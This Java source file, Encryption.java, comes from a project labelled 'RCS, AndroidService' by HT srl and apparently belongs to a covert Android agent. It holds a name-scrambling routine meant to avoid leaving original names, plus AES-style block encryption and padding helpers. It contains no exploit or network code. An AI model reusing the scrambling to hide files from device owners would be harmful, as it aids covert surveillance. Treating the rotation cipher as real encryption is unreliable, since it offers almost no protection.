/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : Encryption.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.crypto;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.Check;
import com.android.dvci.util.Utils;
// TODO: Auto-generated Javadoc
/**
* The Class Encryption.
*/
public class Encryption {
/** The Constant TAG. */
private static final String TAG = "Encryption"; //$NON-NLS-1$
/**
* Instantiates a new encryption.
*
* @param key
* the key
*/
public Encryption(final byte[] key) {
makeKey(key);
}
/**
* Inits the.
*/
public static void init() {
}
/**
* Descrambla una stringa, torna il puntatore al nome descramblato. La
* stringa ritornata va liberata dal chiamante con una free()!!!!
*
* @param Name
* the name
* @param seed
* the seed
* @return the string
*/
public static String decryptName(final String Name, final int seed) {
return scramble(Name, seed, false);
}
/**
* Scrambla una stringa, torna il puntatore al nome scramblato. La stringa
* ritornata va liberata dal chiamante con una free()!!!!
*
* @param Name
* the name
* @param seed
* the seed
* @return the string
*/
public static String encryptName(final String Name, final int seed) {
// if(AutoConfig.DEBUG) Check.log( TAG + " seed : " + seed) ;//$NON-NLS-1$
return scramble(Name, seed, true);
}
/**
* Gets the next multiple.
*
* @param len
* the len
* @return the next multiple
*/
public int getNextMultiple(final int len) {
if (Cfg.DEBUG) {
Check.requires(len >= 0, "len < 0"); //$NON-NLS-1$
}
final int newlen = len + (len % 16 == 0 ? 0 : 16 - len % 16);
if (Cfg.DEBUG) {
Check.ensures(newlen >= len, "newlen < len"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.ensures(newlen % 16 == 0, "Wrong newlen"); //$NON-NLS-1$
}
return newlen;
}
/**
* Questa funzione scrambla/descrambla una stringa e ritorna il puntatore
* alla nuova stringa. Il primo parametro e' la stringa da de/scramblare, il
* secondo UN byte di seed, il terzo se settato a TRUE scrambla, se settato
* a FALSE descrambla.
*
* @param name
* the name
* @param seed
* the seed
* @param enc
* the enc
* @return the string
*/
private static String scramble(final String name, int seed, final boolean enc) {
final char[] retString = name.toCharArray();
final int len = name.length();
int i, j;
final char[] alphabet = { '_', 'B', 'q', 'w', 'H', 'a', 'F', '8', 'T', 'k', 'K', 'D', 'M', 'f', 'O', 'z', 'Q',
'A', 'S', 'x', '4', 'V', 'u', 'X', 'd', 'Z', 'i', 'b', 'U', 'I', 'e', 'y', 'l', 'J', 'W', 'h', 'j',
'0', 'm', '5', 'o', '2', 'E', 'r', 'L', 't', '6', 'v', 'G', 'R', 'N', '9', 's', 'Y', '1', 'n', '3',
'P', 'p', 'c', '7', 'g', '-', 'C' };
final int alphabetLen = alphabet.length;
if (seed < 0) {
seed = -seed;
}
// Evita di lasciare i nomi originali anche se il byte e' 0
seed = (seed > 0) ? seed %= alphabetLen : seed;
if (seed == 0) {
seed = 1;
}
if (Cfg.DEBUG) {
Check.asserts(seed > 0, "negative seed"); //$NON-NLS-1$
}
for (i = 0; i < len; i++) {
for (j = 0; j < alphabetLen; j++) {
if (retString[i] == alphabet[j]) {
// Se crypt e' TRUE cifra, altrimenti decifra
if (enc) {
retString[i] = alphabet[(j + seed) % alphabetLen];
} else {
retString[i] = alphabet[(j + alphabetLen - seed) % alphabetLen];
}
break;
}
}
}
return new String(retString);
}
/** The crypto. */
Crypto crypto;
/**
* Make key.
*
* @param key
* the key
*/
public void makeKey(final byte[] key) {
try {
crypto = new Crypto(key);
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(e);//$NON-NLS-1$
}
}
}
/**
* Decrypt data.
*
* @param cyphered
* the cyphered
* @return the byte[]
* @throws CryptoException
* the crypto exception
*/
public byte[] decryptData(final byte[] cyphered) throws CryptoException {
return decryptData(cyphered, cyphered.length, 0);
}
/**
* Decrypt data.
*
* @param cyphered
* the cyphered
* @param offset
* the offset
* @return the byte[]
* @throws CryptoException
* the crypto exception
*/
public byte[] decryptData(final byte[] cyphered, final int offset) throws CryptoException {
return decryptData(cyphered, cyphered.length - offset, offset);
}
/**
* Decrypt data, CBC mode.
*
* @param cyphered
* the cyphered
* @param plainlen
* the plainlen
* @param offset
* the offset
* @return the byte[]
* @throws CryptoException
* the crypto exception
*/
public byte[] decryptData(final byte[] cyphered, final int plainlen, final int offset) throws CryptoException {
final int enclen = cyphered.length - offset;
if (Cfg.DEBUG) {
Check.requires(enclen % 16 == 0, "Wrong padding"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(enclen >= plainlen, "Wrong plainlen"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(crypto != null, "null encryption"); //$NON-NLS-1$
}
byte[] plain=null;
try {
plain = crypto.decrypt(cyphered, plainlen, offset);
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (decryptData) Error: " + e);
}
}
return plain;
}
/**
* Encrypt data.
*
* @param plain
* the plain
* @return the byte[]
*/
public byte[] encryptData(final byte[] plain) {
return encryptData(plain, 0, plain.length);
}
/**
* Encrypt data in CBC mode and HT padding.
*
* @param plain
* the plain
* @param offset
* the offset
* @param len
* @return the byte[]
*/
public byte[] encryptData(final byte[] plain, final int offset, int len) {
if (Cfg.DEBUG) { Check.asserts(len > 0, " (encryptData) Assert failed, zero len"); }
// TODO: optimize, non creare padplain, considerare caso particolare
// ultimo blocco
final byte[] padplain = pad(plain, offset, len);
final int clen = padplain.length;
if (Cfg.DEBUG) {
Check.asserts(clen % 16 == 0, "Wrong padding"); //$NON-NLS-1$
}
byte[] crypted=null;
try {
crypted = crypto.encrypt(padplain);
} catch (Exception e1) {
if (Cfg.DEBUG) {
Check.log(TAG + " (encryptData) Error: " + e1);
}
}
if (Cfg.DEBUG) { Check.asserts(crypted!=null, " (encryptData) Assert failed, no crypted"); }
return crypted;
}
public byte[] appendData(byte[] plain, int offset, int len, byte[] lastBlock) {
final byte[] padplain = pad(plain, offset, len);
final int clen = padplain.length;
if (Cfg.DEBUG) {
Check.asserts(clen % 16 == 0, "Wrong padding"); //$NON-NLS-1$
}
byte[] crypted=null;
try {
crypted = crypto.encrypt(padplain, offset, lastBlock);
} catch (Exception e1) {
if (Cfg.DEBUG) {
Check.log(TAG + " (appendData) Error: " + e1);
}
}
System.arraycopy(crypted, crypted.length - getBlockSize(), lastBlock, 0, getBlockSize());
return crypted;
}
/**
* Old style Pad, PKCS5 is available in EncryptionPKCS5.
*
* @param plain
* the plain
* @param offset
* the offset
* @param len
* the len
* @return the byte[]
*/
protected byte[] pad(final byte[] plain, final int offset, final int len) {
return pad(plain, offset, len, false);
}
/**
* Pad.
*
* @param plain
* the plain
* @param offset
* the offset
* @param len
* the len
* @param PKCS5
* the pKC s5
* @return the byte[]
*/
protected byte[] pad(final byte[] plain, final int offset, final int len, final boolean PKCS5) {
final int clen = getNextMultiple(len);
if (clen > 0) {
final byte[] padplain = new byte[clen];
if (PKCS5) {
final int value = clen - len;
for (int i = 1; i <= value; i++) {
padplain[clen - i] = (byte) value;
}
}
System.arraycopy(plain, offset, padplain, 0, len);
return padplain;
} else {
return plain;
}
}
/**
* Xor.
*
* @param pt
* the pt
* @param iv
* the iv
*/
void xor(final byte[] pt, final byte[] iv) {
if (Cfg.DEBUG) {
Check.requires(pt.length == 16, "pt not 16 bytes long"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(iv.length == 16, "iv not 16 bytes long"); //$NON-NLS-1$
}
for (int i = 0; i < 16; i++) {
pt[i] ^= iv[i];
}
}
public int getBlockSize() {
return 16;
}
}